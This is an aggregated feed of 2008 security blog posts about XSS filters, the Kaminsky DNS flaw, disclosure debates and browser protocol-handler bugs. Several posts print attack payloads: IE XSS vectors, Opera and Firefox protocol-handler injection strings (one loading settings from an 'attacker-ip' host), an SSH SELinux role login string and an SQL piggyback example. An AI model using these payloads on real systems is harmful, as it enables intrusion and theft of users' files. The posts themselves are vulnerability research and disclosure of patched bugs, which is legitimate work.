I'm not going to describe the talk and new features, because Daniel Miessler has posted such a good overview of the new features and how to use them. Go check it out. I've been using them for the last week or so, and they just make life significantly better.

I am particularly happy that the UDP scanning is so much more useful, particularly when using the -F (fast scan) and --version-intensity 0 (reduces number of service detection probes). I've done some tests and it literally will save you several hours per UDP scan. This is particularly useful because people are so bad at firewalling UDP.

For those NMAP scripting naysayers, check out the dns-safe-recursion and dns-safe-recursion-txid scripts for identifying Kaminskeyed DNS servers. Also, learning LUA will allow you to contribute much more effectively to the PSP homebrew scene :)

Finally, the talk encouraged me to look at Zenmap, which I used once a long time ago and never used again (GUIs are for the weak). The 'output management' is really cool and provides a nice way of mangling data from nmap scans. However, the new capability for it to produce network topology diagrams got an applause out of the audience. A nice breakdown is provided by Vladimir of these new features.

Michael Howard's Web Log

SDL and the XSS Filter

Posted: August 27th, 2008, 12:36pm CDT by michael_HOWARD

Tags: Security [edit]

Close on the heels of David Ross' XSS defense in IE8 beta 2, my boss, Steve Lipner just posted an article looking at XSS filter from an SDL perspective.

While I'm on the subject of XSS and Dave, if XSS is an area of interest to you, you really should follow his blog. He's a member of our group focused mainly on browser and desktop-related defenses.
SDL and the XSS Filter

Posted: August 27th, 2008, 12:36pm CDT by michael_HOWARD

Tags: Security [edit]

Close on the heels of David Ross' XSS defense in IE8 beta 2, my boss, Steve Lipner just posted an article looking at XSS filter from an SDL perspective.

While I'm on the subject of XSS and Dave, if XSS is an area of interest to you, you really should follow his blog. He's a member of our group focused mainly on browser and desktop-related defenses.

The Spanner

New XSS vector

Posted: August 26th, 2008, 3:08pm CDT by Gareth Heyes

Tags: Security [edit]
Yes a XSS post again. I’m sorry

I’ve been having fun testing some really good filters (some of the best in the business IMO). I found a vector that isn’t on rsnake’s cheat sheet. Check it out:-

Only works on IE
```
<isindex type=image src=1 onerror=alert(1)>
```
Because IE treats the isindex element (a very old html element) as a input tag you can specify the same attributes and execute javascript.
Update…
Found another variation which is pretty cool:-
```
<isindex action=javascript:alert(1) type=image>
```

Dominic White's .tHE pRODUCT

Caltex Key Fobs and a Chain Mail Security Alert

Posted: August 26th, 2008, 8:36am CDT

Tags: Security [edit]
There's an e-mail going around in response to petrol attendants at Caltex service stations handing out free keyrings. The alert says:

Syndicates are giving away free key rings at petrol stations. Don't accept them as the key rings have a tracking device which allows them to follow you.

Some of my friends in this mailing list LOVE FREE THINGS. Watch out!

Forward to your friends and family.

I am very suspicious of this for several reasons:
- It is an unverified chain mail, and I'm still waiting for Bill Gates to give me money for using the internet.
- There is no mention of it on any authoritative crime information sources (e.g. the SAPS).
- It's a silly idea:
- - You don't need technology to locate random people, you can find them in their houses, offices and cars. I say 'random people' because:
  - - They don't seem to be targeting wealthy people, two people in my office (one driving and Uno, the other a Getz) have received one. These cars would not indicate them as wealthy.
    - They are handing these out to lots of people.
  - Correlating which tag belongs to which mark and why is a significant amount of effort compared to just following their car. Additionally, following the car would allow attackers to judge when to attack, these locators would not indicate opportunity very well.
  - They are too small to include a reasonably priced GPS & communications unit, and hi-tech spy gadgetry would make the criminal's ROI pretty poor. They could have some for of radio beacon, but that would require them to drive around until they 'found' a signal and home in on it. This is okay if you are tracking one or two people, but not thousands.
  - They are actually branded with Caltex's current 'Diesel Power' campaign advertising their low sulphur environmentally friendly diesel. It would make sense for these to be solar powered to advertise the 'environmentally friendliness'.
  I think it is far more likely that this is the usual chain mail rubbish we usually see. Alternatively, it could be a clever way for a competitor to trash Caltex's campaign.
  
  This isn't authoritative, just my thoughts, it could in fact be a campaign from a dumb criminal, or involve some kind of high-techery I am not yet aware of.

Disenchant's Blog

Data Aggregation - The hidden Thread

Posted: August 25th, 2008, 4:00am CDT by Disenchant

Tags: Security [edit]

If you talk to security people all over the world, you’ll notice, that stuff like XSS or SQL Injections aren’t of that much interest anymore because everyone knows what the problems are and how to prevent it, even if I’m not sure that they really know enough on it. Anyway, I was thinking of how we can get data out of things like for example a database even if it’s protected against attacks just as mentioned at the beginning. I came up with something, that I’ve never seen before or at least not in the context of a security thread to data. Today it’s very important to aggregate and mix data, to get new information out of it but have you ever thought of what happens if you can reconstruct sensible data out of let’s say public data.

Let’s have a look at an example in which we’re a student, who has access to the schools Intranet but there he can just have a look at news and also his grades as well as the average of a group of people like his class mates, people with the same age and such.

The number in brackets is the amount of people who’s data are affected and in this example our name is Peter Miller, who wants to know the grades of his class mate called Paul Svenson.

In the following tables, you’ll see the result of different requests to the school information system.

Now let’s check our whole class (3b):

Now we can calculate the worst possible grades of “Lisa Wilson” (born in 1980 and one of the two females in class 3b) out of the information in table “Average grades of females in class 3b”.

With this information we’ve got two of three peoples grades (Lisa’s grades are as already written the worst possible) who where born in 1980. This means we can now calculate the last persons grades (of course this will also be the worst possible), who’s Paul Svenson, our final target.

I hope you understood what I mean and also why this is really something we should pay more attention to in the future.
I’m back :)

Posted: August 24th, 2008, 5:03pm CDT by Disenchant

Tags: Security [edit]

It’s now about two months ago since I wrote my last blog posting but this was just because I had summer holidays (the only good thing about being a student). I was on different openairs in Switzerland and also went to visit Bulgaria with some friends, which was very nice.

This was our hotel:

So, I’m back and have much stuff to write about which is related to web security and other interesting stuff

Michael Howard's Web Log

Overlong UTF-8 Escapes Bite

Posted: August 22nd, 2008, 3:57pm CDT by michael_HOWARD

Tags: Security [edit]

Every once in a while a security bug pops up that really piques my interest, and a new directory traversal bug that affects Apache Tomcat (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938) most certainly made me take notice because I haven't seen this bug type in a lllooonnnggg time.

It caught my eye because of these six little characters:

%c0%ae

Many people think these characters represent a 16-bit Unicode character. Wrong. They are an invalid sequence of characters that represent the ‘.' (%2e) character, it's often called an "overlong UTF-8 escape". You may be wondering why I know this little piece of trivia about UTF-8; IIS4 and IIS5 were bitten by the same class of bug eight years ago, and was an attack vector for the Nimda worm. The bulletin that fixed the bug is MS00-078.

Thumbing to page 379 of Writing Secure Code 2^nd Edition, I am reminded that the canonical form of a UTF-8 character is the smallest number of bits that can represent that character. Remember, UTF-8 can encode characters wider than 8 bits. Without going into all the involved bit-manipulation, the correct form for a ‘.' character is a one-byte escape: %2e, not a two-byte escape: %c0%ae.

RFC 3629 states that "Implementations of the decoding algorithm MUST protect against decoding invalid sequences."

UrlScan for IIS6, and IIS7's Request Filtering detect and reject non-canonical UTF-8 URLs by default.
A patch for Apache Tomcat is available at [tomcat.apache.org].

Billy (BK) Rios

Opera Stuff - Followup

Posted: August 22nd, 2008, 4:41am CDT by xssniper

Tags: Security [edit]

It always takes me a few weeks to work the booze out of my system after Blackhat and Defcon… but on the show…

Opera 9.52 was released a few days ago… I hope you’ve upgraded! Working with the Opera Security Team was a pleasure. I think they have the most creative way of tracking each bug (by email address) and they were VERY responsive.

A while back, I reported an issue to the Opera Security Team about some Opera protocol handling abuse I came across. You can read the initial advisory here. Now, when the initial advisory went out, the Opera Security Team asked me to hold off on the details until they published a follow up advisory, which can be found here. Since the issue is patched and the second advisory is out, lets go over the details:

First of all… this is a cross application issue (I think Blended Threat is the sexy term being used these days). We’ll use a protocol handling “aware” application to launch these attacks against Opera. Opera just has to be installed someplace on the victim’s machine for this to work.

When a user installs Opera, the following protocol hanlder is registered:

Opera.Protocol ”C:Program FilesOperaOpera.exe” “%1″

Which means.. when I call Opera.Protocol://test, the following basically gets passed to the command line (this is a simplified explanation, but hey… I’m a simple guy).

c:Program FilesOperaOpera.exe “Opera.Protocol://test”

Knowing this and determining that no internal check is done to distinguish between protocol handling and command line access, we are free to inject arbitrary arguments, which will be passed to Opera. In the first example, we will inject the location of a local html file. When the html file is loaded a warning will be presented to the user, but the contents will be rendered regardless of the user decision. The protocol handling string we use looks like this:

<iframe src = ‘opera.protocol:www.test.com” “file://c:test.html ‘>

which ends up executing the following:

c:program filesoperaopera.exe “opera.protocol:www.test.com” “file://c:test.html”

If we can somehow place an html file to a known location this would be bad. For arguments sake, lets assume Nate Mcfeters didn’t figure out a way to drop arbitrary content to a known location a few days ago (did I say that outloud?) … what else can we do?

Taking a look at the command line arguments supported by Opera, we see a couple interesting items… one of which is the “/settings” argument. the ”/settings” argument allows for Opera.exe to be loaded with an arbitrary INI file. A quick examination of what’s contained in an Opera INI file shows that if we can control the contents of the INI file, then we can control: Cache directories, debugging mode, proxy settings, script execution, java behavior, whether items are automatically RUN after downloading… the list goes on and on…

<iframe src = ‘opera.protocol:www.test.com” /settings “//attacker-ip/ini-file.ini ‘>

which will result in something like this:

c;program filesoperaopera.exe “opera.protocol:www.test.com” /settings “//attacker-ip/ini-file.ini”

OUCH….Thankfully… the Opera Security Team has fixed this particular issue! Kudos to them!

Dominic White's .tHE pRODUCT

Dan Kaminsky++

Posted: August 21st, 2008, 10:42pm CDT

Tags: Security [edit]

Dan has posted two replies in the comment section of my previous post on his BlackHat talk. I think his comments indicate that his motivations were good and well reasoned before hand, and the net outcome of his find-and-fix was good. I believe they could have been better, but it's easy for me to comment from a removed, theoretical position, and "could have been better" sounds like a pretty weak position already. I've literally changed my opinion of Dan, and believe I judged him too harshly. Thus this entry isn't just a brown nosing affair.

Nice work Dan.
Dan Kaminsky's BlackHat USA '08 Talk on the DNS Flaw

Posted: August 20th, 2008, 3:53am CDT

Tags: Security [edit]

Dan's talk at Black Hat on 'The DNS Bug' aka CVE-2008-1447 was packed. By this time I had worked out that BH attendees, much like Catholics fill up from the back, so you can usually just walk to the front and find a seat. I did and ended up three rows away from Dan and his podium, a decision I later regretted.

It's a long entry, so I've bold'ed the key parts of my rant.

With all the hype, my plan was initially to not attend Dan's talk and go to something more interesting. My next thought was that most of the talk get completely dissected after BH anyway, so I would rather take advantage of the 'being there' factor and go watch the soap opera unfurl live.

He started off pretty well, gave some insight into how he had discovered the flaw, how the sooper sekret multi-vendor discussions had gone etc. He pointed out that Pieter de Boer was the first to 'rediscover' the bug 51hrs later. He also showed an awesome video of the patch rates around the world.

I was interested that by speaking to Trustwave, the fear and loathing of PCI was used to drive many corporates into patching.As Dan pointed out 'probably the first time compliance has been used to accomplish anything useful.' I'd restate that as 'probably the first time compliance has been used to drive rapid response to a tangential security incident.'

After that things went downhill. Dan decided to use the rest of the talk to provide illustrative situations of what a MITM can do. He went on at length describing all of the various protocols, services etc. that can be MITM'ed. He also pointed out that bugs don't need to be 'sploited in isolation which gave him more time to go into scenarios. He could have used this time to go into more interesting discussions around the usability of DNSSEC, practically solutions, more details about the bug etc. Anyone who knows what a MITM is should have been bored.

During this time I started to get irritated, but I mean really physically irritated. I couldn't work out why, until I realised it was some element of his stage personality that was pissing me off. At first I ignored this as me just being judgemental of a socially akward geek with a podium and media; and chided myself. However, after unpacking this in rants at anyone who would listen during the course of BH and DC I realised what was bugging me.

Dan was show boating. His entire approach to the thing was show boating. His 'wait for blackhat' plea, which irked me because it was just too obviously a media stunt combined with his 'ra ra, hand wave' presentation made it very clear. What's worse, his claim that he was trying to help people and get things fixed ASAP was hurt by his method of disclosure. By the end of the talk, I had switched to red pen (I wan in rant mode) to document why I felt his disclosure method was at fault for the 90 day patch window.

There are two things required for patches to be deployed, a working patch, and a willingness to install the patch. To drive the willingness, security people (or admins charged with patch responsibility) need to understand the risk so they can make a proper risk decision relevant for their circumstance and organisation. Dan's work to coordinate the release of the patch was great, we got multiple patches all at once without in-the-wild exploits. However, how urgent was this patch? Should we divert resources from existing stuff to test and deploy it? Is there a significant risk difference between external DNS and internal DNS etc.? The delay in patching NAT'ted DNS servers illustrates how this lack of information hurt patching. When a client phoned me to ask how urgent the patch was, all I could say was I'm not sure and to include it as part of the normal test/deploy cycle. If we had this information, if the security community had it, we could have properly understood the bug and known what the risk was.

This does make Dan look a little hypocritical. The reason I choose hypocrisy and not 'a failure of unintended consequences' if for two reasons. The first is that Dan actively crusaded to keep discussion off public lists, this goes far beyond whatever NDAs he was probably slapped with. When one hippy posted to full-disclosure with a hypothesis, Dan personally mailed him and asked him not to discuss this stuff publicly. While it is silly to tell one of the most inquisitive communities in the world not to talk about something, it is antagonistic to the goals of 'get everyone to patch' as well (because it prevents an intelligent risk-based decision from being made). I also don't think Dan has an excuse for not understanding models of disclosure and their implications. We've seen vendors semi-secretly patch bugs before, and we know the outcomes, and the debate is a couple of decades down the line. Finally, the reason I think Dan should take responsibility for this criticism is because he made such a big play to put himself in the centre of it.

I'm probably being a little unfair to someone who spent a lot of time working on something and who in the end got the world a little safer (and who I have never met personally). So take this as a commentary on his methods and media image, and not him personally. Ideally, take this as a lesson of how not to disclose bugs, ever.
HTTPS, SSL, TLS etc. on singe.za.net

Posted: August 19th, 2008, 7:49am CDT

Tags: Security [edit]

I've got an SSL cert I use for back-end stuff. If I mistakenly link to the HTTPS version, or you wear as much tinfoil as me, here's a brief explanation.

I use TLS much like SSH uses host keys. I don't want to shell out for a proper cert, and validate only by key fingerprints. I check these once, then tell my browser to save the cert as valid for all eternity. The fingerprints are on the left if you are looking for them. This gives me identification and encryption, as best the security I can get out of TLS.

The cert is expired, and not signed, but that's not required for the type of validation I use it for. It is expired because I don't want any reliance to be placed on the expiry date, and I don't think maximum expiry certs are a good idea.

I realise someone MITM'ing the site could alter the fingerprints displayed, but the fingerprints will be cached around the intertubes if additional verification is required.

I don't use a CACert because it does not buy me anything other than involving a third party for no good reason. If CACert's root cert is generally accepted one day, then I will switch.

I realise this isn't very 'usable' but I am not interested in making it easy for the average person, just for me and fellow security people. The average user of my blog should be happy viewing it in the clear and, unless I slip up, nothing should link to the HTTPS version explicitly.

It has been pointed out that on the surface a security person using an invalid cert looks like hypocrisy. However, there is nothing insecure about my non-traditional use of the cert, and I'd argue that those people either don't understand my use or TLS or both.

Michael Howard's Web Log

Matt Miller Joins the Security Science Team!

Posted: August 18th, 2008, 11:18am CDT by michael_HOWARD

Tags: Security [edit]

Good news! Matt Miller, author of plenty of cutting-edge security research, including my fave “A Brief History of Exploitation Techniques and Mitigations on Windows” has joined the Security Science team to work on improved ways to find security vulnerabilities and better software defenses through mitigations. Most recently, Matt’s been focused on design review for Windows 7.

Matt brings a massive amount of real-world exploit and defense experience to our team. Learn more about Matt here.

It’s wonderful to see us hiring more talent like Matt.

Welcome, Matt.
Security is bigger than finding and fixing bugs

Posted: August 14th, 2008, 3:20pm CDT by michael_HOWARD

Tags: Security [edit]

I just wrapped up a post over on the SDL blog with some comments about an article on Google's security work.
How Very True

Posted: August 12th, 2008, 6:56pm CDT by michael_HOWARD

Tags: Security [edit]

[twitter.com]
How Very True

Posted: August 12th, 2008, 6:56pm CDT by michael_HOWARD

Tags: Security [edit]

[twitter.com]

Justice League

Software security is growing

Posted: August 12th, 2008, 4:40pm CDT by gem

Tags: Software Security Touchpoints [edit]

In April 2007, I published a darkreading article on the size of the software security space with some analysis of what was happening. It took me a bit longer to gather the numbers this year, but I finally got what I needed and published an informIT article recently explaining how software security is growing.

I am very optimistic about the growth of the software security field over the last few years. Things are certainly moving in the right direction (toward white box analysis instead of outside->in black box, out of the myopic focus on Web apps, and toward full-lifecycle programs based on the touchpoints). The numbers show this growth and these trends objectively.
The Never Ending Open Source Security Debate Drags On

Posted: August 1st, 2008, 12:49pm CDT by gem

Tags: Software Security [edit]

On a top secret mailing list I participate in, there was some recent discussion about a recent article published by Fortify slamming the Open Source community for failing to adopt software security (you can find the article on the Fortify website). Here’s what I posted to the list (identities masked to preserve secret identities):

I just downloaded and read the Fortify study. It’s more of a white paper than it is science, but it is reasonably well presented and seems not to be too terribly fluffy. You can download a copy for yourself from the Fortify website. In the end what we have is some evidence that there are some open source projects that are behind the curve from a security perspective. I don’t think this should come as a surprise to anyone.

Some specifics based on other postings:

[DoD open source guy] sez>> First, it’s Java-heavy.

This is true. As far as I know, all of Fortify’s open source work has been Java-based (see the Java Open Review project). I don’t see why this impacts the results very much. Though open source Java projects may be a bit less responsive to security, the conclusions in the report are clear about just what set of projects were considered. Then again, I am not at all sure what methods were used to pick 11 out of 101 JOR projects.

[Apache leader] sez>> My experience on the security team at Apache…

Incidentally, when it comes to the results reported, Apache (Tomcat) is the only one of the eleven projects that is reported to have security-specific email, links to security info and access to security experts. One the other hand Apache (Struts) is reported not to have these things, which [DoD open source guy] argues is misleading since the Apache ASF page has these things.

[crypto open source guy] sez >> A better summary would have been “Many developers still don’t care about security.”

Sadly this is true. However as an evangelist in the space I will point out that the commercial world appears to be making much better headway in software security than the open source community (present company excepted of course but I am donning my asbestos suit anyway). I think many of the reasons why commercial software has an unfair advantage were covered in a panel on open source and security that Peter Neumann, Fred Schneider, and I all participated in at Oakland in 2000 (I can dig up e-copies if anybody cares).

One project was singled out for good software security practice: Mozilla. Should we all try to be more like Mozilla?

The debate did not rage on on the top secret list, but it must be raging on somewhere, because Roger Thornton just posted a response to the Fortify blog which you cab read here.

Frankly I was hoping that we killed this thing dead at Oakland in 2000. Guess again!

Michael Howard's Web Log

Improve Security with "A Layer of Hurt"

Posted: July 31st, 2008, 3:53pm CDT by michael_HOWARD

Tags: Security [edit]

I just wrote a post over on the SDL blog about how to get started with fuzzing,...

The Spanner

Strings to array

Posted: July 29th, 2008, 5:01pm CDT by Gareth Heyes

Tags: Security [edit]

I’ve been busy lately so I’ve not had time to post much but while writing yet another fuzzer I added a new tag to Hackvertor. Basically I write this code a million times and adding to Hackvertor enables me to save time and conveniently convert strings to arrays. The tag supports both Javascript and PHP array creation and uses a regular expression to split the data.

Have fun and I hope I’ve saved you some nano seconds:-
String conversion example

Michael Howard's Web Log

Insecure 3rd party software updaters

Posted: July 29th, 2008, 2:51pm CDT by michael_HOWARD

Tags: Security [edit]

Gotta love Robert's sarcasm.. but he's right.

Dominic White's .tHE pRODUCT

Kaminsky's DNS Flaw Exploit has been Released

Posted: July 23rd, 2008, 11:47pm CDT

Tags: Security [edit]

* Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
     - Advisory: [www.caughq.org]
     - Exploit: [www.caughq.org]

* Kaminsky DNS Cache Poisoning Flaw Exploit for Hosts
     - Advisory: [www.caughq.org]
     - Exploit: [www.caughq.org]

The blog entry. The list. It's even on Packetstorm.

I'm not sure my not posting these would limit their distribution in any significant way, and given the detailed breakdown provided us by Matasano, the bad guys could already have a working version. At least we are empowered to test and understand (without waiting for BlackHat).
My Pwnie Nomination was Accepted!

Posted: July 22nd, 2008, 10:18am CDT

Tags: Security [edit]
Yeah! If you were wondering why I wanted to know who discovered SQL injections, it was to nominate a "Pwnie for Mass 0wnage". And it was accepted:
- SQL injection in more than 500,000 web sites
  
  Discovered by: Rain Forest Puppy back in 1998
  
  SQL injection attacks are not new, but this year we saw an upsurge in the number of automated attacks against vulnerable websites. Reportedly more than half a million websites were compromised.
Although I see they went all conservative on the numbers (500k, *psccht*). ShadowServer has nearly 500k from the nihaorr1.com injection alone. Anyone with contacts please correct them.

Billy (BK) Rios

A Look at MFSA 2008-35

Posted: July 21st, 2008, 3:54am CDT by xssniper

Tags: Security [edit]
As promised… a quick look at MFSA2008-35:

When FireFox is installed, it registers the following protocol handlers:
- Gopher://
- FirefoxURL://
Note, Firefox3 no longer registers the Gopher protocol handler, which is a great security decision.

Both of these protocol handlers point to Firefox.exe in the following manner:
- “C:Program FilesMozilla Firefoxfirefox.exe” -requestPending -osint -url “%1″
When Gopher:// or FirefoxURL:// are called, the arguments are passed to the “%1” portion in the string shown above. For example, gopher://test will result in the following:
- “C:Program FilesMozilla Firefoxfirefox.exe” -requestPending -osint -url “gopher://test“
Knowing that we have absolute control over the –url argument being passed to Firefox.exe, we can use the “|” character to pass multiple, arbitrary URLs to the –url argument. Firefox has protections against remote web pages from redirecting to file:// and chrome:// content, but in this instance we are passing the URLs via protocol handler. When arguments are passed via protocol handler, it’s essentially as if we are passing the –url argument to firefox.exe via the command line. So, thanks to the protocol handlers the file:// and chrome:// restrictions can be bypassed. This is done in the following manner:
- gopher:test|file:c:/path/filename
- gopher:test|chrome://browser/content/browser.xul
Note – It is also possible to pass “javascript://” URIs to Firefox.exe, but javascript URIs passed via the command line will be loaded in the context of about:blank. This is a great security decision on behalf of Mozilla and saved them from having a standalone sploit.

Now that we have the ability to load local content via the protocol handlers registered by Firefox, we must now find a way to plant the attacker controlled content to a known location. There are a couple ways to plant attacker controlled content to a known location, but I’ll keep it simple (and responsible) and use the recently patched Safari “Carpet Bomb” attack as an example. When Safari encountered an unknown content type, it would download the content of the file to the user’s desktop. This gives us a semi known location, as we’ll have to guess the username. We can send a LOT of guesses for username as demonstrated below.
- <html><body><iframe src=”gopher:file:c:/path/filename|file:c:/path/ filename2|file:c:/path/ filename3….>
There are other methods that don’t involve guessing the username, but I won’t go into that (remember, it’s the kinder, gentler BK!).

So, if a user is browsing the web with Safari and has Firefox installed, I could plant a HTML file with javascript (XMLHTTP) onto the user’s desktop. Once the content is planted, I can launch the gopher:// protocol handler (gopher is launched by Safari without user consent) and point Firefox.exe to the local content. When Firefox loads the local content, the XMLHTTP request has access to the entire user file system (as the script was loaded from the local file system).

Firefox3 has implemented security measures to prevent arbitrary file access and limits the XMLHTTP request to the currently loaded directory (and possibly subdirs?), which is a great security decision.

On a side note, IE warns users when active script is about to be run from the local file system. I believe the IE warning message states, “you are about to do something REALLY stupid… do you wish to continue?” … or something like that. This is a great security decision on behalf of IE.

The scenario presented above demonstrates how someone with Safari and FireFox installed could get their files stolen, but Mozilla understood that the behavior of their software could be abused by other software (not just Safari), just as Apple understood that dropping files to a user’s desktop (without consent) could be abused by other software as well (not just IE or Firefox). Both vendors did what was right and adjusted the behavior of their software. Thanks Mozilla and Apple!

These types of issues interest me because it represents the difficulties in securing real life systems, systems that have software from multiple vendors interacting with each other, depending on each other to make the right security decisions. In isolation, these issues may not be of any concern, but together they create a situation where the security measures of one piece of software is bypassed because of the seemingly innocuous/insecure/stupid behavior of another, seemingly unrelated piece of software. From what I understand, Mark Dowd and Alexander Sotirov plan to give some INSANE examples of this at Blackhat… I’m looking forward to the talk!

Dominic White's .tHE pRODUCT

Vulnerability Life Cycle

Posted: July 19th, 2008, 4:51am CDT

Tags: Security [edit]
Schneier once proposed a vulnerability life cycle in a Crypto-Gram newsletter. He was wrong. During the time of writing my thesis, there were several important pieces of research no-one had put together to come up with a 'more correct' vulnerability life cycle. Given some recent discussions between Symantec and Verizon, I thought I would provide this is a more accessible format that a previous presentation I did on the subject, so that I could refer to it later.

The benefits of having an understanding of the life cycle, is that it provides a model to 'predict' the behaviour of various role players (e.g. bad guys, vendors and administrators) and understand how that behaviour impact on important parts of the risk management equations such as vulnerability, threat and impact. This is an important building block of any threat model.

The detail after the jump.

Let's get into it. Schneier's (and others) theorised model looks like this:

This life-cycle has the following stages:
1. The creation of the vulnerability. This is when the vulnerability is created during the implementation of the vulnerable product.
2. The discovery of a vulnerability. The vulnerability in the product is found. Several people could discover the vulnerability at different times. Little is ever publicly known about this step.
3. The discovered vulnerability is disclosed. The disclosure could come from a variety of sources, in a variety of ways. It could be announced by the vendor or an independent researcher, or secreted away in a product’s Change Log.
4. The vulnerability is corrected. This is usually done by the vendor releasing a patch or workaround. This should lead to an overall reduction in successful intrusions.
5. The vulnerability is publicised. This can happen in a variety of ways; for example news reporting, publishing an advisory, worm activity; but the end effect is that many people know about the vulnerability.
6. The exploit is scripted. This can mean that workable exploit code was released, or instructions on how to produce one are released. In either case, the result is that the number of attackers is greatly increased as those with less skill (script kiddies) can now perform the attack.
7. The vulnerability becomes passé. Attackers become disinterested in exploiting this vulnerability. This is not guaranteed to happen with every vulnerability, and some vulnerabilities (and exploits) are shown to have cyclical popularity.
8. The vulnerability dies. This happens when the number of possible targets vulnerable to exploitation drops to an insignificant level.
Now, if we take into account a bunch of research, available on page 30 of my thesis, we get the following corrected life-cycle:

The notable differences are:
1. The scripting of an exploit leads to a surge in the number of attempted intrusions.
2. The spike in exploitations will level off and tend towards a constant over time (e.g. SQL slammer intrusions are still floating around the internet at a fairly constant level).
3. The number of vulnerable machines have a half-life.
4. Most exploits are scripted before the end of the first half life.
5. Vulnerabilities rarely die, but some do become passé and attacks stop trying to exploit them. If anything, the exploits re-spike several times.
Interesting OpenSSH & SELinux Flaw

Posted: July 17th, 2008, 11:55pm CDT

Tags: Security [edit]

Some older versions of SELinux and OpenSSH compiled to support it allow you to log in with an arbitrarily chosen SELinux role. You'll need a valid account, and some fairly undefined conditions, but the attack is:
ssh --l<username>:/<chosen role> <host>
Haven't seen a (potential) stuff up like that since the MIT Kerberos telnet daemon flaw (which was significantly worse). I'd like to think that people who've gone to the effort of setting up SELinux also patch regularly. Source, milw0rm.

I am interested in this because it is dreadfully simple, has some weird implications for how SSH and SELinux interact, and there is scant information about this. Maybe a few more eyes can uncover something.

Disclaimer: I haven't tested this. The author only tested it on a limited subset and it didn't work on up-to-date distros.

Update: Explained my motivations and authority (or lack there of) of the exploit thanks to foobar's comments.

Billy (BK) Rios

FireFox Vulns - MFSA 2008-35

Posted: July 17th, 2008, 3:26am CDT by xssniper

Tags: Security [edit]

Mozilla issued a patch related to an issue I recently reported to them. The MFSA with details on the issue can be found here. It’s an interesting issue that demonstrates some of the complexities related to interaction between software from different vendors. This particular issue makes use of one of my favorite attack vectors, protocol handlers. The protocol handlers involved in this situation create an opportunity to pass “a command-line URI with the pipe symbols” from a remote webpage to FireFox.exe. For those that are interested, I’ll provide a small writeup on the issue this weekend. For those waiting, I’ll also provide a writeup on the Opera protocol handling issue leading to RCE when the Opera team is ready.

It’s a crazy coincidence that the FireFox and Opera vulnerabilities come almost one year to the date after Nate McFeters and I reported the original firefoxurl and mailto protocol handling vulnerabilities… and I use the term “reported” loosely :). Nate and I have changed over the past year… we’re both older and fatter, but it seems that protocol handlers continue to be as vulnerable as ever.

In closing, I want to thank the Mozilla Security Team (Dan Veditz in particular) and the Apple Security Team for working with me on this issue. It would have been easy for them to point fingers at the other organization, but both teams took responsibility for their portion and comitted to changes. Thanks guys! I’ll buy the beers in Vegas!

The Spanner

Hackvertor discussion

Posted: July 15th, 2008, 3:42pm CDT by Gareth Heyes

Tags: Security [edit]

A user of Hackvertor contacted me and suggested a mailing list to collect ideas and feature requests. I must admit that because of time I haven’t had the opportunity to ask users they thought. I guess I also assumed that there wouldn’t be many people using the tool but it turns out there are one or two

In my spare time I plan to release a new version so get your ideas in fast and I’ll try to implement all of them and add a few of my own. The group is available here:-

Hackvertor group

Justice League

More on comics and security

Posted: July 15th, 2008, 10:48am CDT by gem

Tags: Software Security [edit]

I’ve written before about how useful comics can be in security training. See a previous blog entry here.

In that brief article, I called out some of Markus Schumacher’s training animations. I’m pleased to report that Markus has asked Cigital to host some of his material. Here are some links:

Example 1: Car Auction

Example 2: Online Application

Cross Site Request Forgery

Forceful Browsing

You can also find these links together in one place on our resources page.

Dominic White's .tHE pRODUCT

Which Vulnerability Researcher Discovered SQL injection?

Posted: July 15th, 2008, 1:56am CDT

Tags: Security [edit]

Rain Forest Puppy (rfp) in a merry Christmas of an article entitled "NT Web Technology Vulnerabilities", published in Phrack Magazine, Volume 8, Issue 54 on December 25th, 1998. He didn't actually call it SQL injection yet, that honour either goes to SANS or Chip Andrews in 2001. Source, Litchfield.

Here's the beginning of his summary, from the section entitled "ODBC and MS SQL server 6.5":

- WHAT'S THE PROBLEM? MS SQL server allows batch commands.

- WHAT'S THAT MEAN? I can do something like:
    SELECT * FROM table WHERE x=1 SELECT * FROM table WHERE y=5
Exactly like that, and it'll work. It will return two record sets, with each set containing the results of the individual SELECT.

- WHAT'S THAT REALLY MEAN? People can possibly piggyback SQL commands into your statements. Let's say you have:
    SELECT * FROM table WHERE x=%%criteria from webpage user%%
Now, what if %%criteria from webpage user%% was equal to:
    SELECT * FROM sysobjects
It would translate to:
    SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects
Viva Las Vegas, BlackHat & Defcon USA 2008

Posted: July 14th, 2008, 1:26pm CDT

Tags: Security [edit]

It's official, I'm going to Black Hat and Defcon this year. I'm very excited. A *huge* thank you to the SensePost guys who are sorting me out only proper. Make sure you go, to, their, training. We've also pulled together a fairly decent Deloitte contingent.

I'll be there from the 29th of July to the 11th of August if all goes off according to plan. Give me a shout if you want to meet up, or if you have invitations to sexy parties.

Billy (BK) Rios

Opera Stuff

Posted: July 11th, 2008, 7:42pm CDT by xssniper

Tags: Security [edit]

I recently came across an issue in Opera that could allow for some bad stuff. Although the issue has been addressed, I’ve been asked by the Opera security team to hold off on details until they can fully investigate other possibly related issues. I’ll respect that request. I do however, want to take a moment to thank the Opera team for their timely response! Change control, resource allocation, and devoting the appropriate amount of testing to patches for sophisticated applications is a tricky business. The Opera team responded quickly with a patch and kept in great contact with me throughout the process.

It’s a crazy world out there and the web browser is the window to the wild wild west. I wish Opera security team the best of luck!

Dominic White's .tHE pRODUCT

Dan broke the internet again!

Posted: July 8th, 2008, 2:34pm CDT

Tags: Security [edit]
This will be fun to watch. Dan Kaminsky has sort-of published not-so-sekret ways to break DNS. Patches have been released to make things more random. "Full" disclosure at BlackHat.

From ISC:

"The method used makes it harder to spoof answers to a resolver by expanding the range of UDP ports from which queries are sent, thereby increasing the variability of parameters in outgoing queries."

I laughed with mirth and glee at the Emergent Chaos comment:

"DJBdns is in fact not affected as DJB had already implemented port randomness even though he didn't know it was an issue."

This means *all* DNS (except DJBdns) is vulnerable, many vendor patches to follow. Although, DNSSEC is the *right* answer.
- CVE
- CERT VU
- Microsoft

Michael Howard's Web Log

SQL Server and the Windows Server 2008 Firewall

Posted: July 2nd, 2008, 5:35pm CDT by michael_HOWARD

Tags: Security [edit]

SDL alum, Shawn Hernan (now in the SQL Server team), has written an excellent post about SQL Server 2008, Windows Server 2008 and the impact of the firewall being enabled by default in Windows Server 2008, the first time we have enabled a firewall by default in our server operating system. If you're a SQL Server admin, you really should read his post.

Justice League

Answering Security Questions in Context

Posted: July 2nd, 2008, 1:38pm CDT by jOHN

